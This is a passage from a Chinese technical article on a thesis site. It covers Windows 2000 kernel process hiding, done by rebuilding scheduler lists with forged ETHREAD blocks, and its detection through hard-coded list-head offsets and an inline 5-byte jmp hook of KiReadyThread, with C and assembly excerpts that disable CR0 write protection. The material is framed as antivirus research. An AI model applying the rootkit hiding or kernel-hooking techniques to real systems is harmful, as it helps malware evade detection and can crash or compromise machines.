        insertheadlist(pkiwaitinlisthead, &pfakeethread->waitlistentry); 

...休息一段时间 

  首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个kprocess块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ethread块把当前的信息拷贝过去,然后把自己构造的ethread块加入到原来的调度链表中。为什么要自己构造一个ethread?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息, 
  很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ethread块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ethread块里面的成员,如果不自己构造一个和真实ethread块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。 
    实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。 
  5.检测绕过内核调度链表隐藏进程 
  一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了 kifindreadythread+0x48+3出就是kidispatcherreadylisthead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改kifindreadythread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从kifindreadythread+0x48+3(0x804313de)去取得kidispatcherreadylisthead的值。同理kiwaitinlisthead, kiwaitoutlisthead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。 
  hook 内核函数(kireadythread)检测进程 
  1.介绍通用hook内核函数的方法 
  当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个jmp xxxxxxxx(xxxxxxxx是距自己的hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。 
char jmpmycode [] = {0xe9,0x00,0x00,0x00,0x00};//e9对应jmp偏移量指令 
*((ulong*)(jmpmycode+1))=(ulong)myfunc-(ulong)orgdestfunction-5;//获得偏移量 
memcpy(orgcode,(char*)orgdestfunction,5);//保存原来的代码 
memcpy((char*)orgdestfunction,jmpmycode,5);//覆盖前一个命令为一个跳转指令 
  在系统内核级中,ms的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以hook的最佳原则是在自己的hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的hook的函数都是写在c文件里面的。例如hook的目标函数kireadythread。那么一般就自己实现一个: 
mykireadythread(...) 

    ...... 
    call kireadythread 
    ...... 

但是用c编译器编译出来的代码会出现一个堆栈帧: 
push ebp 
mov ebp,esp 
这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实mykireadythread。 
_mykireadythread @0 proc 
    pushad      ;保存通用寄存器 
    call _cfunc@0 ;这里是在进入原来函数前进行的一些处理。 
    popad       ;恢复通用寄存器 
    push eax   
    mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。 
    mov ds:_orgret,eax ;保存在一个临时变量中 
    pop eax 
mov [esp],retaddr ;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理 
    jmp _orgdestfunction ;跳到原目标函数中 
retaddr: 
    pushad         ;原函数处理完后保存寄存器 
    call _hookdestfunction@0 ;再hook 
    popad ;回复寄存器 
    jmp ds:_orgret ;跳到系统调用目标函数的下一条指令。 
_mykireadythread@0 endp 
  在实现了hook过后在当调用原来的函数时(jmp _orgdestfunction),这个时候所以寄存器的值和堆栈信息和没hook的时候一样。在返回到系统的时候(jmp ds:_orgret),这个时候的堆栈信息和寄存器的值和没有hook的时候也是一样。就说是中间hook层对下面和上面都是透明的。 
  2. 检测隐藏进程 
  在线程调度抢占的的时候会调用kireadythread,它的原型为: 
  void fastcall kireadythread (in prkthread thread); 
  在进入kireadythread时,ecx指向thread。所以完全可以hook kireadythread 然后用ecx的值得到但前线程的进程信息。kireadythread没被ntosknrl.exe导出,所以通过硬编码来。在2000sp4中地址为0x8043141f。 
void cfunc (void) 

    ulong pkheader=0; 
    __asm 
    { 
        mov pkheader,ecx //ecx寄存器是kireadythread中的prkthread参数 
    } 
    resumedestfunction(); //恢复头5个字节 
    
    if ( pkheader != 0 ) 
    { 
        displayname((pkthread)pkheader);    
    }   

cfun是hook函数调用用来得到当前线程抢占的进程信息的。 
 void displayname(pkthread thread) 

    pkprocess process = thread->apcstate.process; 
    peprocess peprocess = (peprocess)process; 
    dbgprint("imagefilename = %s \n",peprocess->imagefilename); 

void hookdestfunction() //设置头个字节为一个跳转指令,跳到自己的函数中去 

    disablewriteprotect(&orgcr0); 
    memcpy((char*)orgdestfunction,jmpmycode,5); 
    enablewriteprotect(orgcr0); 

void resumedestfunction() //恢复头5个字节 

    disablewriteprotect(&orgcr0); 
    memcpy((char*)orgdestfunction,orgcode,5); 
    enablewriteprotect(orgcr0); 

  除了kireadythread其他还可以hook其他内核函数,只有hook过后能得到线程或者是进程的ethread或者是eprocess结构头地址。其hook的方法都是一样的。hook kireadythread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用hook函数方法检测进程》。 
  结论 
    以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。 
    信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。
  • 上一个计算机论文:
  • 下一个计算机论文:
  •  作者:未知 [标签: 内核 进程 侦测 技术 ]
    姓 名: *
    E-mail:
    评 分: 1分 2分 3分 4分 5分
    评论内容:
    发表评论请遵守中国各项有关法律法规,评论内容只代表网友个人观点,与本网站立场无关。
    WiFi通信技术在钻井现场的应用
    论基于Intranet技术的计算机通信网络的即时
    Win8的“心”,Win7的“脸”
    Blue袭来—Win8的继任者?(下)
    Win8应用更轻松
    暑假在即,Win8也能玩转老游戏
    Win8 Style,《WPS Office 2013抢鲜版》初体
    最超值Win8平板 华硕 ME400C平板电脑
    操作更简单!详解Win8资源管理器
    碉堡了!Win8也玩Ubuntu 3D特效
    PC操作系统份额:Win XP首次跌破40% Win8仅
    玩转Win8
    | 设为首页 | 加入收藏 | 联系我们 | 网站地图 | 手机版 | 论文发表

    Copyright 2006-2013 © 毕业论文网 All rights reserved 

     [中国免费论文网]  版权所有